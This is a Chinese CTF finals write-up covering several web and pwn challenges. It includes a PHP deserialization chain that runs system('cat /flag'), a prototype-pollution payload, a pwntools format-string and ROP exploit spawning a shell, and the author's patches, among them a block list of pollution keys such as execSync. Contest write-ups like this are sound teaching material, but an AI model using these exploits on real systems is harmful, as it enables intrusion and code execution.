2025宁波市第八届网络安全大赛决赛wp

队友太强了,break rank1,fix rank4

[web] easyUpload

break

F12检查图片,发现通过/show.php?file=img/1.png来读取

任意文件读取,flag被ban,读index.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
Class Dog {
public $bone;
public $meat;
public $beef;
public $candy;
public function __invoke() {
if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) {
return $this->candy->flag;
}
}

public function __toString() {
$function = $this->bone;
return $function();
}
}

CLass mouse {
public $rice;

public function __get($key) {
@eval($this->rice);
}
}

class Cat {
public $fish;
public function __construct() {
}

public function __destruct() {
echo $this->fish;
}
}

// 处理文件上传
$message = '';
$success = false;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['uploaded_file'])) {
$uploadDir = __DIR__ . '/uploads/';
$uploadedFile = $uploadDir . basename($_FILES['uploaded_file']['name']);

if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $uploadedFile)) {
$message = '上传成功!';
$success = true;

$fileContent = file_get_contents($uploadedFile);
@unlink($uploadedFile);

@unserialize($fileContent);
$fileContent = "";

// 设置 session,表示上传成功
$_SESSION['upload_success'] = true;

// 重定向,防止刷新页面时重复提交表单
header("Location: " . $_SERVER['PHP_SELF']);
echo $message;
exit();
}
}
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
...
</html>

反序列化,经过一个md5绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
// 启动 session
session_start();

Class Dog {
public $bone;
public $meat;
public $beef;
public $candy;
public function __invoke() {
if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) {
return $this->candy->flag;
}
}

public function __toString() {
$function = $this->bone;
return $function();
}
}

CLass mouse {
public $rice;

public function __get($key) {
@eval($this->rice);
}
}

class Cat {
public $fish;
public function __construct() {
}

public function __destruct() {
echo $this->fish;
}
}


$a = new Cat();
$a->fish = new Dog();
$a->fish->bone = new Dog();
$a->fish->bone->meat = 's878926199a';
$a->fish->bone->beef = 's155964671a';
$a->fish->bone->candy = new mouse();
$a->fish->bone->candy->rice = "system('cat /flag');";


echo serialize($a);

# O:3:"Cat":1:{s:4:"fish";O:3:"Dog":4:{s:4:"bone";O:3:"Dog":4:{s:4:"bone";N;s:4:"meat";s:11:"s878926199a";s:4:"beef";s:11:"s155964671a";s:5:"candy";O:5:"mouse":1:{s:4:"rice";s:20:"system('cat /flag');";}}s:4:"meat";N;s:4:"beef";N;s:5:"candy";N;}}

[web] img2base64

break

小明打ctf上头了,发什么消息都用编码发送,于是他搭建了一个web服务用来将图片进行base64编码,粗心的小明没有考虑安全问题,你能帮他看看吗?

平台给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import os
import re
import subprocess
from flask import Flask, request, render_template, jsonify

app = Flask(__name__)

UPLOAD_FOLDER = 'uploads/'
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def checkname(filename):

ILLEGAL_CHARACTERS = r"[*=&\"%;<>iashto!@()\{\}\[\]_^`\'~\\#]"
noip = re.compile(r"\d+\.\d+")
if re.search(ILLEGAL_CHARACTERS, filename):
return False
if ".." in filename :
return False
if(noip.findall(filename)):
return False


@app.route('/')
def upload_form():
return render_template('upload.html')

@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return jsonify({"error": "No file part in the request"}), 400

file = request.files['file']
if file.filename == '':
return jsonify({"error": "No file selected"}), 400
if(checkname(file.filename)==False):
return jsonify({"error": "Not hacking!"}), 500
if file:
file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
file.save(file_path)
result = subprocess.run(f"cat {file_path} | base64", shell=True, capture_output=True, text=True)
encoded_string = result.stdout.strip()
return jsonify({
"filename": file.filename,
"base64": encoded_string
})

if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)

公告有提示反弹shell,那就先把反弹的命令写进文件

代码执行的是cat {file_path} | base64

先通过|截断命令,然后使用$0来执行 cat 输出的内容,也就是反弹shell的命令

监听端口

没权限读flag

sudo -l查看有权限的命令,然后在GTFOBins查sudo语法

还好这题使用了简单的base64,不查也能试出来,但是如果是冷门或者比较复杂的就不行了,https://github.com/dr0n1/CTF_misc_auto_deploy 这个脚本可以在本地部署docker版GTFOBins

[web] genshop

fix

ssti的模板去掉直接过了

1
2
# return render_template_string(f"<h3>{result}</h3>")
return f"<h3>{result}</h3>"

[web] Easy_shop

break

打开是一个商店购买页面

将购买金额改成负数,可以增加金钱

购买flag,得到/showflag路由

访问是一个文件读取功能,读取../app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
const express = require('express');
const app = express();
const fs = require('fs');
const port = 3000;
const bodyParser = require('body-parser');

app.set('view engine', 'ejs');
app.use(express.static('public'));
app.use(bodyParser.urlencoded({ extended: true }));

let money = 1000;
const initialMoney = 1000;
let message = '';
const products = [
{ name: '帽子', price: 10 },
{ name: '棒球', price: 15 },
{ name: 'iphone', price: 150 },
{ name: 'flag', price: 1500 },
];

app.get('/showflag', (req, res) => {
res.render('readfile');
});

app.post('/readfile', (req, res) => {
const fileName = req.body.fileName;

if (fileName.includes("fl")) {
return res.status(200).send('你还真读flag啊');
}
// 读取文件内容
fs.readFile("/app/public/"+fileName, 'utf8', (err, data) => {
if (err) {
res.status(500).send('Error reading the file');
} else {
res.send(data);
}
});
});


app.get('/', (req, res) => {
res.render('index', { products, money, message });
});

app.get('/buy/:productIndex', (req, res) => {
const productIndex = req.params.productIndex;
let quantity = req.query.quantity || 1; // 获取购买数量,默认为1

if (productIndex === '3') {
quantity = Math.abs(quantity); // 取绝对值
if (products[productIndex] && money >= products[productIndex].price * quantity) {
money -= products[productIndex].price * quantity;
message = `购买flag成功啦!给你/showflag这个路由,听说那里面有flag`;


res.render('index', { products, money, message, showAlert: true });
} else {
message = 'flag很贵的';
res.redirect('/');
}
}else{
if (products[productIndex] && money >= products[productIndex].price * quantity) {
money -= products[productIndex].price * quantity;
message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"!`;

// 使用 JavaScript 弹窗来显示购买成功消息
res.render('index', { products, money, message, showAlert: true });
} else {
message = '购买失败,钱不够啊老铁.';
res.redirect('/');
}
}
});



function copy(object1, object2) {
if (typeof object1 !== 'object' || object1 === null ||
typeof object2 !== 'object' || object2 === null) {
return;
}

for (let key in object2) {
if (
typeof object2[key] === 'object' &&
object2[key] !== null &&
typeof object1[key] === 'object' &&
object1[key] !== null
) {
copy(object1[key], object2[key]); // ✅ 安全递归
} else {
object1[key] = object2[key]; // ✅ 直接赋值
}
}
}


app.post('/getflag', require('body-parser').json(), function (req, res, next) {
res.type('html');
const flagFilePath = '/flag';
let flag = '';
fs.readFile(flagFilePath, 'utf8', (err, data) => {
if (err) {
console.error(`无法读取文件: ${flagFilePath}`);
} else {
flag = data; // 将文件内容赋值给flag变量
var secert = {};
var sess = req.session;
let user = {};
copy(user, req.body);
if (secert.testattack === 'admin') {
res.end(flag);

} else {
return res.send("no,no,no!");
}
}
});
});


app.get('/reset', (req, res) => {
money = initialMoney;
message = '';
res.redirect('/');
});

app.listen(port, () => {
console.log(`Server is running on http://localhost:${port}`);
});

Node.js污染

secert 是个空对象,但它和 user 在同一作用域下,需要控制 req.body 中的内容,污染secret

1
2
3
4
5
{
"__proto__": {
"testattack": "admin"
}
}

fix

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
app.post('/readfile', (req, res) => {
const fileName = req.body.fileName;

if (fileName.includes("fl")) {
return res.status(200).send('你还真读flag啊');
}
// 阻止读取源码
if (fileName.includes("ap")) {
return res.status(200).send('你还真读app.js啊');
}
// 读取文件内容
fs.readFile("/app/public/"+fileName, 'utf8', (err, data) => {
if (err) {
res.status(500).send('Error reading the file');
} else {
res.send(data);
}
});
});

app.get('/buy/:productIndex', (req, res) => {
const productIndex = req.params.productIndex;
let quantity = req.query.quantity || 1; // 获取购买数量,默认为1

if (productIndex === '3') {
quantity = Math.abs(quantity); // 取绝对值
if (products[productIndex] && money >= products[productIndex].price * quantity) {
money -= products[productIndex].price * quantity;
message = `购买flag成功啦!给你/showflag这个路由,听说那里面有flag`;

res.render('index', { products, money, message, showAlert: true });
} else {
message = 'flag很贵的';
res.redirect('/');
}
}else{
// 模仿上面对数量做绝对值,防止购买负数增加金钱
quantity = Math.abs(quantity); // 取绝对值
if (products[productIndex] && money >= products[productIndex].price * quantity) {
money -= products[productIndex].price * quantity;
message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"!`;

// 使用 JavaScript 弹窗来显示购买成功消息
res.render('index', { products, money, message, showAlert: true });
} else {
message = '购买失败,钱不够啊老铁.';
res.redirect('/');
}
}
});


function copy(object1, object2) {
if (typeof object1 !== 'object' || object1 === null ||
typeof object2 !== 'object' || object2 === null) {
return;
}

for (let key in object2) {
// 过滤原型链污染常用字符串
if (key === 'outputFunctionName' || key === '__proto__' || key === 'constructor' || key === 'prototype' || key === 'return' || key === 'global' || key === 'process' || key === 'mainModule' || key === 'constructor' || key === 'child' || key === 'execSync' || key === 'escapeFunction' || key === 'client' || key === 'compileDebug') {
continue;
}

if (
typeof object2[key] === 'object' &&
object2[key] !== null &&
typeof object1[key] === 'object' &&
object1[key] !== null
) {
copy(object1[key], object2[key]); // ✅ 安全递归
} else {
object1[key] = object2[key]; // ✅ 直接赋值
}
}
}

[pwn] Cake_shop

break

存在格式化字符串

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
def nothing(data):
p.sendlineafter(b'choice>>',b'4')
p.sendlineafter(b'happens',data)

def buy(num,data):
p.sendlineafter(b'choice>>',b'1')
p.sendlineafter(b'cake $100',str(num).encode())
p.sendlineafter(b'shop',data)

p=remote('10.1.108.15',9999)
payload=b"aaa%15$p %13$p %17$pbbb"
nothing(payload)
p.readuntil(b'aaa')
d0,d1,d2=p.readuntil(b'bbb',drop=1).split(b' ')
elf_addr=int(d1,16)
libc_addr=int(d2,16)
e=ELF("./pwn")
e.address=elf_addr-0x156a
libc=ELF('./libc.so.6')
libc.address=libc_addr-0x24083

index=3+6
a_addr=0x4010+e.address
payload="%"+str(0xe0ff)+"c%9$hn%"+str(0x10000-0xe0ff+0x5f5)+"c%10$hn"
payload=payload.ljust(24,'a').encode()
print(payload)
payload+=p64(a_addr)+p64(a_addr+2)
nothing(payload)
payload="%25600c%9$n".ljust(24,'a').encode()
payload+=p64(0x4014+e.address)
nothing(payload)

context.log_level='debug'
num=666
p.sendlineafter(b'choice>>',b'1')
p.sendlineafter(b'cake $100',str(num).encode())

canary=int(d0,16)
rdi=libc.address+0x23b6a
ret=rdi+1
bin_sh=next(libc.search('/bin/sh\x00'))
system=libc.symbols['system']
payload=b'a'*0x28+p64(canary)+p64(0xbfbfbfbf)
payload+=p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
p.send(payload)


p.interactive()

fix

修改使用puts进行输出,成功修复

[pwn] stu_admin

fix

edit功能存在堆溢出,溢出了16字节

修复溢出

总结

整体难度比往年都要简单,就是搞不懂为什么check的轮次这么少,只有两轮,而且不返回check的结果


2025宁波市第八届网络安全大赛决赛wp
https://www.dr0n.top/posts/310e5a1e/
作者
dr0n
发布于
2025年9月6日
更新于
2025年9月6日
许可协议